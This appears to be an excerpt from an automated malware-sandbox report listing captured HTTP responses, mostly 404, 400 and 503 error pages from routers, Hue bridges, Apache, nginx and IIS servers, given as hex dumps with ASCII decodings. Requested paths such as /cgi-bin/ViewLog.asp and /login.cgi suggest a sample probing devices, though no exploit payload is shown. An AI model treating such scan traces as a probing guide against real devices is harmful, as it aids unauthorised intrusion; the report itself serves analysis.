Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 14:26:16 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:26:17 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 21 Mar 2024 04:26:22 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:26:25 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 36 3a 32 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:26:25 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 6840Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 2e 38 35 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 38 65 62 65 62 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4c 61 74 6f 2c 20 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 37 30 38 30 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 62 61 34 65 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 6f 70 74 67 72 6f 75 70 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:26:30 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 36 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 6d 6f 64 5f 66 63 67 69 64 2f 32 2e 33 2e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:26:30 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.2Date: Thu, 21 Mar 2024 04:26:54 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:24:23 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Thu, 21 Mar 2024 04:27:00 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:27:03 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 185Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 3c c5 ca 5d 16 0d c7 a6 07 05 22 09 22 31 e5 e0 11 68 b5 44 68 91 16 8d 6f 2f 3f 17 8f b3 33 df cc 92 4d 78 39 b2 5b 1e c1 89 9d 53 c8 8b 43 9a 1c c1 dd 22 26 11 8b 11 43 16 ae ce de f3 11 a3 cc a5 0e 91 b6 6b 29 91 a2 e4 93 b0 8d 6d 05 0d fc 00 32 6d 21 d6 a3 e2 04 d7 a3 43 70 09 91 4a f3 ef cc ed e8 5f 66 52 0e e9 29 93 02 06 f1 1a 85 b1 82 43 71 4d 01 6d 57 a8 aa d5 f5 d3 ab 1f 0d 7c 4a 03 6a c2 ee 33 06 5a 81 95 8d 01 23 86 b7 18 3c 82 fd 3c b3 0c 4c 95 f3 63 ce 0f c1 f8 45 2b d3 00 00 00 Data Ascii: M0<]""1hDho/?3Mx9[SC"&Ck)m2m!CpJ_fR)CqMmW\|Jj3Z#<<LcE+
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 07:26:23 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 183Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 6c 6f 67 69 6e 2e 63 67 69 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /login.cgi</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=utf-8vary: Accept-Encodingcontent-encoding: gzipdate: Thu, 21 Mar 2024 04:27:07 GMTconnection: keep-alivekeep-alive: timeout=5transfer-encoding: chunkedserver: Fly/0052f39f (2024-03-18)via: 1.1 fly.iofly-request-id: 01HSFM6GQ9CK0ZK179QF1XV8GM-ewrData Raw: 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: A
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:27:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:27:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:27:11 GMTContent-Type: text/htmlContent-Length: 596Connection: closeETag: "5f06c3f2-254"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 68 75 65 20 70 65 72 73 6f 6e 61 6c 20 77 69 72 65 6c 65 73 73 20 6c 69 67 68 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 68 69 6c 69 70 73 2d 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 70 68 69 6c 69 70 73 2d 62 6c 75 65 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 70 68 69 6c 69 70 73 2d 6c 6f 67 6f 22 20 61 6c 74 3d 22 50 68 69 6c 69 70 73 22 20 2f 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 6c 6f 67 6f 22 20 73 72 63 3d 22 2f 68 75 65 2d 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 68 75 65 20 70 65 72 73 6f 6e 61 6c 20 77 69 72 65 6c 65 73 73 20 6c 69 67 68 74 69 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 68 75 65 2d 63 6f 6c 6f 72 2d 6c 69 6e 65 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 63 6f 6c 6f 72 6c 69 6e 65 22 20 2f 3e 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 4f 6f 70 73 2c 20 74 68 65 72 65 20 61 70 70 65 61 72 73 20 74 6f 20 62 65 20 6e 6f 20 6c 69 67 68 74 69 6e 67 20 68 65 72 65 3c 2f 64 69 76 